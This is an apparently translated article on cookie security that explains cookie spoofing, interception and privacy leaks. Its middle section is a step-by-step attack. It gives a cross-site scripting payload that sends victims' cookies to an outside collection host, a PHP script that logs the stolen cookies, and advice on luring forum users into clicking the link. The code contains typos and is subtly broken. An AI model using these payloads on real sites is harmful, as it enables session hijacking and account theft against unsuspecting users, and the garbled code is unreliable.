The purpose of cookies is to bring convenience to users and add value to the website, and generally does not pose a serious security threat. A cookie file cannot be executed as code, nor does it transmit viruses, it is proprietary to the user and can only be read by the server that created it. In addition, browsers generally only allow 300 cookies to be stored, each site stores up to 20 cookies, and the size of each cookie is limited to 4KB. Therefore, cookies will not fill the hard drive and will not be used as a "denial of service" attack method.
However, as a substitute for user identity, its security sometimes determines the security of the entire system, and the security of cookies cannot be ignored.
(1) Cookies spoof Cookies record information such as user's account ID, password, etc., and are usually encrypted using the MD5 method and passed on the Internet. The encrypted information cannot be understood even if it is intercepted by some people with ulterior motives on the Internet. However, the problem now is that people who intercept cookies do not need to know the meaning of these strings. As long as someone submits other people's cookies to the server and can pass verification, they can log in to the website as the victim. This behavior is called cookie spoofing.
Illegal users obtain corresponding encryption keys through cookies, thereby accessing all personalized information of legitimate users, including the user's E-mail and even account information, causing serious harm to personal information.
(2) Cookie interception
Cookies are transmitted between the browser and the server in plain text, and are easily intercepted and exploited by others. Cookies can be read by anyone who can intercept web communications.
After a cookie is intercepted by an illegal user and then replayed within its valid period, the illegal user will enjoy the rights and interests of the legal user. For example, for online reading, illegal users can enjoy online reading of electronic magazines without paying a fee.
There are some methods for intercepting cookies :
(1) Use programming methods to intercept cookies. The following is analyzing its method, which is completed in two steps.
Step 1: Position the website that needs to collect cookies, analyze them and construct URLs. First, open the website to collect cookies. Here, assume that it is http://www.XXX.net, log in to the website and enter the user name "<Al>" (excluding quotes), analyze the data and grab the packet, and obtain the following code:
http://www.XXX.net/tXl/login/login.pl? username=<Al>&passwd=&ok.X=28&ok.y=6;
Replace "<Al>" with:
"<script>alert(document.cookie)</script>"Try again, and if the execution is successful, start constructing the URL:
http://www.XXX.net/tXl/login/login.pl? username=<script>window.open ("http://www.cbifamily.org/cbi.php?"%2bdocument.cookie)</script>&passwd=&ok.X=28&ok.y=6.
Among them, http://www.cbifamily.org/cbi.php is a script on a host that the user can control. It should be noted that "%2b" is the URL encoding of the symbol "+", because "+" will be processed as a space. This URL can be published in the forum to induce others to click.
Step 2: Prepare a PHP script to collect cookies and place it on a website that the user can control. When the unknown person clicks on the constructed URL, the PHP code can be executed. The specific content of this script is as follows:
The code copy is as follows:
<?php
$info=getenv("OUERY_STRING");
if($info){
$fp=fopen("info.tXt", "a");
fwrite($fp, !info."/n");
fclose($fp);
}
header("Location:http://www.XXX.net");
?>
Putting this code on the network can collect everyone's cookies. If a forum allows HTML code or Flash tags, you can use these technologies to collect cookies and put them in the forum, then give the post an attractive topic and write interesting content, and quickly collect a large number of cookies. On the forum, many people's passwords were stolen by this method.
(2) Use Flash's code hidden danger to intercept cookies. There is a getURL() function in Flash. Flash can use this function to automatically open a specified web page, which may lead the user to a website containing malicious code. For example, when a user enjoys Flash animation on a computer, the code in the animation frame may have been quietly connected to the Internet and open a very small page containing special code that can collect cookies and do other harmful things. The website cannot ban this action of Flash because it is an internal function of the Flash file.
(3) Cookies leak network privacy
The main reason why cookies lead to online privacy leaks is:!Driven by commercial interests. With the rise of e-commerce and the emergence of huge business opportunities on the Internet, some websites and institutions abuse cookies and use search engine technology, data mining technology and even online deception technology to collect other people's personal information without the permission of visitors, so as to achieve profit-making purposes such as building user databases and sending advertisements, causing the leakage of users' personal privacy. "The openness of Cookie information transmission. Cookie files have special delivery processes and text characteristics. Cookie files that are not securely encrypted are transmitted between the server and the client, which can easily lead to the leakage of personal information.
The above are all personal understanding of cookies' security. If there are any omissions, please correct them.